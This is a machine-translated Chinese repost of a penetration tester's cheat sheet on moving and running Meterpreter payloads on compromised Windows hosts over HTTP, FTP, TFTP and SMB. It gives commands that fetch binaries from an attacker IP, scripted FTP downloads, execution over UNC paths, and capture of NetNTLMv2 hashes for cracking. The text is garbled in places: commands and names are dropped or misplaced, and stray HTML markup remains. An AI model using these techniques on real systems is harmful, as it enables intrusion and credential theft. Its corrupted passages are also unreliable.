将文件从 Linux 传输到 Windows

        很多时候,在参与活动中,我发现自己需要将工具或有效载荷从我的Kali linux攻击箱复制到受损的Windows机器上。

        ColdFusion服务器,并能够上传一个CFM webshell。这是一个非常有限的非交互式shell,我想从我的攻击机器下载并执行一个反向Meterpreter二进制文件。我使用 Veil 生成了有效负载,但需要一种方法通过简单的命令将文件传输到运行 ColdFusion 的 Windows 服务器。

        我把这篇文章放在一起作为我最喜欢的传输文件方式的“备忘单”。

        出于演示目的,我将使用所有这些方法复制的文件被调用并位于 .met8888.exe/root/shells

1 通过HTTP

        如果您可以访问桌面并且可以打开Web浏览器,则通过HTTP下载文件非常简单,但也可以通过命令行执行此操作。

启动服务器

        通常通过Kali的HTTP提供文件的两种方式是通过Apache或Python HTTP服务器。

python -m SimpleHTTPServer

        要通过Apache提供文件,只需将其复制到Apache服务并启用即可。Apache 默认安装在 Kali 中:/var/www/html

        另一种选择是直接在shells目录中启动Python Web服务器。这只需要一行Python,这要归功于Python的SimpleHTTPServer模块

        默认情况下,它在端口 8000 上服务,但您也可以在末尾指定端口号。

        当它运行时,当前目录中的所有文件都可以通过 HTTP 访问。 完成后会杀死服务器。Ctrl-C

下载文件

        如果您具有桌面访问权限,只需浏览并使用浏览器下载文件:http://YOUR-KALI-IP/shell8888.exe

如果您只有命令行访问权限(例如,通过shell),则通过HTTP下载会有点棘手,因为没有内置的Windows等效于或。最好的选择是使用PowerShell的WebClient对象:curlwget

(new-object System.Net.WebClient).DownloadFile('http://10.9.122.8/met8888.exe','C:\Users\jarrieta\Desktop\met8888.exe')

2 通过FTP

        传输文件的另一个选项是FTP。Windows有一个内置的FTP客户端,所以这个选项几乎总是有效的。C:\Windows\System32\ftp.exe

启动服务器

绝对可以像在Kali中一样安装一个功能齐全的FTP服务器,但我发现这往往有点过分。我只想要一个简单的临时FTP服务器,我可以上下旋转以共享文件。两种最好的方法是使用Python或Metasploit。vsftpd

Python.该库,就像上面的HTTP一样,允许您在一行中启动Python FTP服务器。默认情况下不会安装它,但您可以使用apt安装它:pytftpd

apt-get install python-pyftpdlib
<span style="color:#404040"><span style="background-color:#ffffff"><span style="color:#f8f8f2"><span style="background-color:#272822"><span style="color:#f8f8f2"><span style="background-color:#272822"><code><span style="color:#7f7f7f">1
</span></code></span></span></span></span></span></span>
<span style="color:#404040"><span style="background-color:#ffffff"><span style="color:#f8f8f2"><span style="background-color:#272822"><span style="color:#f8f8f2"><span style="background-color:#272822"><code class="language-bash">apt-get install python-pyftpdlib
</code></span></span></span></span></span></span>

现在,从要服务的目录中,只需运行 Python 模块即可。没有参数,它在端口上运行并接受匿名身份验证。要在标准端口上侦听:2121

        通过HTTP使用FTP的一个好处是能够双向传输文件。如果要授予匿名用户写入访问权限,请同时添加该标志。

        Metasploit.Metasploit中还内置了一个辅助FTP服务器,易于部署和配置。它位于 .将 设置为要共享并运行的目录: auxiliary/server/ftpFTPROOTexploit 

下载文件

如前所述,Windows在PATH中内置了一个FTP客户端。您可以打开 FTP 连接,并在命令行上直接从 Kali 下载文件。使用用户和任何密码进行身份验证anonymous

        现在,如果你有一个交互式shell,你可以实际进入FTP提示符并发出命令,这非常有用,但是如果你只有命令注入并且一次只能发出一个命令,那就没有那么有用了。

        幸运的是,Windows FTP可以直接从命令行获取命令的“脚本”。这意味着如果我们在系统上有一个包含以下内容的文本文件:

open 10.9.122.8
anonymous
whatever
binary
get met8888.exe
bye

        我们可以简单地运行,我们可以下载一个没有用户交互的文件。ftp -s:ftp_commands.txt

        如何获取该文本文件?我们可以一次回显一行:

C:\Users\jarrieta\Desktop>echo open 10.9.122.8>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo anonymous>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo whatever>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo binary>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo get met8888.exe>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo bye>>ftp_commands.txt
C:\Users\jarrieta\Desktop>ftp -s:ftp_commands.txt

        或者,在一长串中完成所有操作:

C:\Users\jarrieta\Desktop>echo open 10.9.122.8>ftp_commands.txt&echo anonymous>>ftp_commands.txt&echo password>>ftp_commands.txt&echo binary>>ftp_commands.txt&echo get met8888.exe>>ftp_commands.txt&echo bye>>ftp_commands.txt&ftp -s:ftp_commands.txt

        无论哪种方式,您最终都会在Windows主机上使用。met8888.exe

3 通过TFTP

        如果安装在系统上,则普通文件传输协议是另一种可能性。它以前默认安装在Windows XP中,但现在需要在较新版本的Windows上手动启用。但是,如果您有权访问的Windows计算机恰好安装了客户端,则可以通过单个命令提供一种非常方便的方法来获取文件。tftptftp

启动服务器

        Kali附带了一个安装了TFTP服务器,可以通过一个简单的.我一直有一段时间来配置和工作,我很少需要启动并继续运行TFTP服务器作为服务,所以我只使用更简单的Metasploit模块。atftpdservice atftpd start

        与 FTP 一样,Metasploit 在 上有一个辅助的 TFTP 服务器模块。设置模块选项,包括 ,用于确定要提供的目录,以及是否也要从 Windows 捕获 TFTP 上载。auxiliary/server/tftpTFTPROOTOUTPUTPATH

下载文件

        同样,假设已安装该实用程序,则可以从Windows提示符中获取带有一行的文件。它不需要任何身份验证。只需简单地使用标志和操作即可。tftp-iGET

        通过 TFTP 泄露文件也很简单。默认情况下,Metasploit服务器将它们保存在PUT/tmp

        TFTP 是一种方便、简单的文件传输方法,因为它不需要身份验证,您可以在单个命令中完成所有操作。

旁注:安装 TFTP。正如我所提到的,默认情况下,TFTP不包括在较新版本的Windows上。如果您真的愿意,您实际上可以从命令行启用TFTP:

pkgmgr /iu:"TFTP"

可能会派上用场,但我总是宁愿“生活在土地上”并使用已经可用的工具。

4 通过SMB

        这实际上是我最喜欢的将文件传输到Windows主机的方法。SMB 内置于 Windows 中,不需要任何特殊命令,因为 Windows 可以理解 UNC 路径。您只需使用标准和命令,SMB就会为您自动处理文件传输。更好的是,Windows实际上允许您通过UNC路径执行文件,这意味着您可以在一个命令中下载并执行有效负载!

        输入 ,作为 Impacket 项目的一部分。也许有一天我会写一篇博客文章,而不提到Impacket,但那一天不是今天。smbserver.py

        要在端口 445 上启动简单的 SMB 服务器,只需指定共享名称和要共享的路径:

python smbserver.py ROPNOP /root/shells

        python 脚本负责您处理所有配置,绑定到 445,并接受任何身份验证。它甚至会为连接到它的任何系统打印出散列质询响应。

        在一行中,我们已启动并运行了一个 SMB 共享。你可以从 Linux 确认它:smbclient

         或者从Windows:net view

复制文件

        由于 Windows 处理 UNC 路径,因此您可以将共享视为 Windows 中的本地文件夹。基本的Windows文件命令,如,,,等都只是工作:ROPNOPdircopymove

        如果您查看 的输出,您可以看到,每次我们访问共享时,它都会输出来自当前 Windows 用户的 NetNTLMv2 哈希。你可以把它们输入到John或Hashcat中,如果你愿意,可以破解它们(假设你不能只是升级到系统并从Mimikatz获取它们)smbserver.py

        从 SMB 执行文件。由于 Windows 处理 UNC 路径的方式,因此可以直接从 SMB 共享执行二进制文件,甚至不需要先将其复制过来。只需运行可执行文件,就好像它已经是本地的一样,有效负载就会触发:

        在我遇到的另一个ColdFusion漏洞中,这被证明是非常有用的。在访问了未受保护的 ColdFusion 管理面板后,我能够将“系统探测”配置为在测试失败时触发。它允许我执行一个程序作为故障操作,我只是使用UNC路径来执行从我的Kali机器托管的Meterpreter有效负载:

        当探测器失败时,ColdFusion 连接到我的 SMB 共享并执行有效负载,然后我关闭了并正在运行。

总结

一个好的渗透测试人员需要“生活在土地上”,并知道几种不同的方法来传输文件。您不能总是依靠交互式 shell,更不用说 GUI 了,因此了解传输和执行有效负载的不同命令和技术至关重要。

我概述了使用四种不同协议的几种不同技术:

  • HTTP
  • FTP
  • TFTP
  • SMB

它们的使用取决于目标上可用的内容以及网络上允许的内容。

希望这篇文章能帮助某人,并可以作为某种“备忘单”。让我知道我是否错过了任何你最喜欢的技术!

-罗普诺普

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值